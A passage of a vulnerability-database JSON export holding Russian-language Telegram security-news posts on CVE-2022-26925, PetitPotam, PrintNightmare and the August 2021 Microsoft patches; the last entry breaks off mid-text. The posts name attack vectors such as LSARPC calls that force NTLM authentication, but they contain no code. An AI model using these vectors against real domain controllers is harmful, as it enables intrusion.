\u0443\u0434\u0430\u043b\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Windows \u0438\u0437 \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u041f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u044d\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043d\u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0438\u043f\u0430\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0438\u0434\u0435\u0442 \u0440\u0435\u0447\u044c, \u2014 CVE-2022-26925 \u0438 \u0432 Microsoft \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0435\u0435 \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043f\u0443\u0444\u0438\u043d\u0433\u0430 Windows LSA. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0440\u0435\u0448\u0435\u043d\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u0432\u043e \u0432\u0442\u043e\u0440\u043d\u0438\u043a, \u043d\u043e \u0432 Microsoft \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438, \u0447\u0442\u043e \u0431\u0430\u0433\u0430 \u0431\u044b\u043b\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438 \u0440\u0430\u043d\u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041a\u0430\u043a \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 Microsoft \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043e\u0437\u0440\u0430\u0441\u0442\u0430\u0435\u0442, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e. \u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0433 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043c\u0435\u0442\u043e\u0434 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 LSARPC \u0438 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430 \u043f\u0440\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e NTLM.\n\nCISA \u0431\u044b\u0441\u0442\u0440\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0432\u043e\u0439\u00a0\u043a\u0430\u0442\u0430\u043b\u043e\u0433\u00a0\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043a\u0430\u043a \u0441\u043f\u0438\u0441\u043e\u043a \u00ab\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439\u00bb, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430 \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044d\u0442\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0438\u043e\u0434\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0447\u0430\u0441\u0442\u043d\u044b\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u0442\u0430\u043a\u0436\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043d\u043e\u0441\u0442\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0442 Microsoft \u0432 CISA \u0437\u0430\u044f\u0432\u0438\u043b\u0438, \u0447\u0442\u043e \u043c\u0430\u0439\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0441\u0431\u043e\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u0445 \u0434\u043e\u043c\u0435\u043d\u0430. \u0421\u044e\u0434\u0430 \u0432\u0445\u043e\u0434\u044f\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438\u043b\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0441\u0435\u0442\u0438 (NPS), \u0441\u043b\u0443\u0436\u0431\u044b \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (RRAS), Radius, \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 EAP \u0438 PEAP.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0442\u0435\u043c, \u043a\u0430\u043a \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 \u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0437\u0430\u043f\u0438\u0441\u044f\u043c\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u0432 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u043c\u0438 \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c\u00a0\u0441\u0442\u0430\u0442\u044c\u044e\u00a0\u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e Microsoft \u0434\u043b\u044f \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044f \u0443\u0433\u0440\u043e\u0437.\n\n\u0411\u0430\u0433\u0443 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442 \u0420\u0430\u0444\u0430\u044d\u043b\u044c \u0414\u0436\u043e\u043d \u0438\u0437 Bertelsmann Printing Group, \u043f\u043e \u0437\u0430\u0432\u0435\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0443\u044e \u043a\u0430\u043a PetitPotam (CVE-2021-36942), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043a\u0430\u043a \u043c\u044b \u043f\u043e\u043c\u043d\u0438\u043c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043b\u0435\u0442\u043e\u043c 2021 \u0433\u043e\u0434\u0430 \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0432 \u043f\u043e\u0441\u0442\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u0445 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439.", "creation_timestamp": "2022-05-17T16:15:03.000000Z"}, {"uuid": "bf98d93b-f9df-4082-9d81-4143c3e40f38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36948", "type": "seen", "source": "https://t.me/true_secator/1993", "content": "\u200b\u200b\u00ab\u0418\u043c\u043f\u0435\u0440\u0438\u044f \u043d\u0430\u043d\u043e\u0441\u0438\u0442 \u043e\u0442\u0432\u0435\u0442\u043d\u044b\u0439 \u0443\u0434\u0430\u0440\u00bb - \u0442\u0430\u043a \u043c\u044b \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0438\u043c, \u043f\u043e\u0436\u0430\u043b\u0443\u0439, \u044d\u043f\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0430\u0442\u0447 \u043e\u0442 Microsoft, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 44 CVE, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 7 - \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435, 3 - zeroday, 37 - \u0432\u0430\u0436\u043d\u044b\u0435, 13 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, 8 - \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0430 \u0433\u043b\u0430\u0432\u043d\u043e\u0435 - \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043a\u0430\u043a \u0431\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f PrintNightmare \u0438 PetitPotam.\n\n\u0412 \u043e\u0431\u0449\u0435\u043c, \u0431\u0430\u0433\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 NET Core, Visual Studio, ASP.NET Core, Azure, \u0426\u0435\u043d\u0442\u0440 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Windows,  \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438 Windows, Windows Media, \u0417\u0430\u0449\u0438\u0442\u043d\u0438\u043a Windows, \u043a\u043b\u0438\u0435\u043d\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430, Microsoft Dynamics, Microsoft Edge, Microsoft Office, Microsoft Office SharePoint \u0438 \u0434\u0440.\n\n\u041a \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u043e\u0448\u0438\u0431\u043a\u0430\u043c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f:\n \u2022 CVE-2021-36948: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c  \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 Windows Update Medic;\n \u2022 CVE-2021-36942: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0434\u043c\u0435\u043d\u044b Windows LSA;\n \u2022 CVE-2021-36936: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438  \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0430 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438 Windows.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0438\u0437 \u043d\u0438\u0445, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u043c Microsoft, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0440\u0435\u0430\u043b\u0435 \u043b\u0438\u0448\u044c CVE-2021-36948, \u043e\u0434\u043d\u0430\u043a\u043e \u043a\u0435\u043c \u0438 \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u0443\u043c\u0430\u043b\u0447\u0438\u0432\u0430\u0435\u0442. \u041c\u044b \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c, \u0447\u0442\u043e \u0437\u0430 \u043d\u0435\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u043e\u044f\u0431\u0440\u044c\u0441\u043a\u0430\u044f 2020-\u0433\u043e\u0434\u0430 CVE-2020-17070, \u0430 \u0440\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u043e\u0435\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u043c \u0444\u043e\u043a\u0443\u0441\u043e\u043c \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u041d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0436\u0435 \u0441\u0440\u0435\u0434\u0438 \u043f\u0440\u043e\u0447\u0438\u0445 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0443\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 CVE-2021-26424, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f Windows TCP/IP Remote Code Execution \u0432 \u0432\u0435\u0441\u044c\u043c\u0430 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 Windows 7\u201310 \u0438 Windows Server 2008\u20132019. \u041e\u0448\u0438\u0431\u043a\u0430, \u0441 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0434\u043e\u043b\u0435\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0432\u0438\u0434\u0443 \u0435\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u043a\u0430\u043a \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 CVE-2020-16898, \u044d\u043a\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0430\u044f\u0441\u044f \u0432\u0434\u043e\u043b\u044c \u0438 \u043f\u043e\u043f\u0435\u0440\u0435\u043a \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443.\n\n\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e\u0435 \u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u0438 \u043a CVE-2021-26432, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 NFS ONCRPC XDR \u0441\u043b\u0443\u0436\u0431 Windows, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f  \u043e\u0448\u0438\u0431\u043a\u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u043d\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041c\u043e\u0436\u043d\u043e \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432 NETSH \u0432 \u0432\u043e\u043f\u0440\u043e\u0441\u0435 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0430\u0442\u0430\u043a\u0430\u043c PetitPotam, \u043f\u0430\u0442\u0447 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0432\u0435\u043a\u0442\u043e\u0440 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438, \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044f \u0432\u044b\u0437\u043e\u0432\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 API OpenEncryptedFileRawA \u0438 OpenEncryptedFileRawW \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 LSARPC. \u041d\u043e \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441 \u044d\u0442\u0438\u043c \u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e EFS API OpenEncryptedFileRaw (A / W) \u0432 Windows 7 \u0438 Windows Server 2008, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438. \u0412\u0441\u0435 \u0434\u043b\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432, \u043a\u0430\u043a \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c PrintNightmare \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0432\u043e\u0434\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0423\u043a\u0430\u0437\u0430\u0442\u044c \u0438 \u043d\u0430\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c.\n\n\u0412\u0441\u0435 \u0431\u044b \u043d\u0438\u0447\u0435\u0433\u043e, \u043d\u043e!\n\n\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0432\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u0431\u0435\u0437\u044b\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \nBenjamin Delpy \u0437\u0430\u0431\u043e\u043c\u0431\u0438\u043b, \u0447\u0442\u043e \u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440 \u043f\u0435\u0447\u0430\u0442\u0438 PoC, \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c Still SYSTEM from standard user\u2026\n\n\u041f\u043e\u0445\u043e\u0436\u0435, \u043e\u0442\u0432\u0435\u0442\u043d\u044b\u0439 \u00ab\u0443\u0434\u0430\u0440 \u0438\u043c\u043f\u0435\u0440\u0438\u0438\u00bb \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u043a\u043e\u0448\u0435\u0442\u0438\u043b, \u0432 \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u0442\u043e\u0440\u043e\u043d\u0443. \u042d\u0445, \u0430 \u043c\u044b \u0442\u0430\u043a \u043d\u0430\u0434\u0435\u044f\u043b\u0438\u0441\u044c.", "creation_timestamp": "2021-08-11T18:46:50.000000Z"}, {"uuid": "f774dbda-85b4-4cac-a24f-bbf4bd4a4979", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36942", "type": "seen", "source": "https://t.me/true_secator/1993", "content": "\u200b\u200b\u00ab\u0418\u043c\u043f\u0435\u0440\u0438\u044f \u043d\u0430\u043d\u043e\u0441\u0438\u0442 \u043e\u0442\u0432\u0435\u0442\u043d\u044b\u0439 \u0443\u0434\u0430\u0440\u00bb - \u0442\u0430\u043a \u043c\u044b \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0438\u043c, \u043f\u043e\u0436\u0430\u043b\u0443\u0439, 